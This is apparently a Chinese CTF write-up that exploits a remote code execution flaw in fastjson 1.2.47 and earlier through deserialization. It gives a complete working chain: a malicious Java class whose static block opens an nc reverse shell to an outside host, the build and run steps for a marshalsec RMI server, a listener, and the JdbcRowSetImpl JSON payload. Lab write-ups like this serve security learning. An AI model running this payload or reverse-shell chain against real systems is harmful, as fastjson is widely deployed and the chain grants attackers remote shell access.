fastjson<=1.2.47 RCE漏洞--Java Fastjson Unserializey题解
打开场景后扫描器扫不出任何可疑路径,但是使用burp抓包,获取响应包的时候获得了一个source.zip
的源码,打开后发现,是一个使用Spring Boot
搭建的项目,同时使用了fastjson
,而且该版本存在RCE
漏洞(远程代码执行)!
漏洞成因这里就不展开细讲(主要是我也讲不会!),这里只讲怎么利用该漏洞反弹shell
攻击
环境:
主机 | IP | 作用 |
---|---|---|
Ubuntu 虚拟机 | 114.67.175.224 | 靶机,运行web项目,该项目中使用了存在漏洞版本的fastjson |
cetos7 虚拟机 | 175.178.153.72(公网IP) | 搭建web环境(提供恶意Java字节码文件)和RMI服务,nc接收反弹shell;安装好git、maven、jdk1.8,python、nc |
win 11 物理机 | --- | 使用Postman 发送POC |
搭建RMI服务
由centos7主机完成该工作。
这里借用marshalsec
工具,先在GitHub
上面下载相关代码:
git clone https://github.com/RandomRobbieBF/marshalsec-jar
使用maven
构建包:
cd marshalsec
mvn clean package -DskipTests
然后准备以下恶意代码文件TouchFile.java
:
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String commands = "nc 175.178.153.72 4444 -e /bin/sh";
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
将来靶机中会执行commands
中的命令,175.178.153.72
是我将来接受反弹shell
的地址。
然后编译该文件成字节码:
javac TouchFile.java
然后使用python
搭建web服务,使得外网能够访问该字节码文件:
python3 -m http.server 1234
phthon2: python -m SimpleHTTPServer 1234
使用外网能够访问该文件,则说明web服务搭建完毕:
**注意:**防火墙记得放开该端口,并且如果你搭建web服务的主机是像腾讯云一样的服务商提供的,还要到控制台放开该端口。
开始运行RMI
服务:
Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://175.178.153.72:1234/#TouchFile" 9988
nc开启监听窗口
由centos7主机完成该工作。
nc -lvvp 4444
**注意:**以上提到的3个端口,均要在防火墙中放开,并且到控制台放开端口。
开始攻击!
该工作由win11 主机完成,使用Postman发送数据:
json
对象为:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://175.178.153.72:9988/TouchFile",
"autoCommit":true
}
}
观察我们的centos主机,我们发现nc窗口成功获取了靶机的shell
:
下面直接运行命令:
ls
读取flag
:
后记
Fastjson
是阿里巴巴推出的,性能还算不错,国内应该很多人使用。但是之前爆过几次反序列化RCE
漏洞让无数厂商苦不堪言,怎么说呢,国产软件,任重道远,希望它越来越好吧!
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!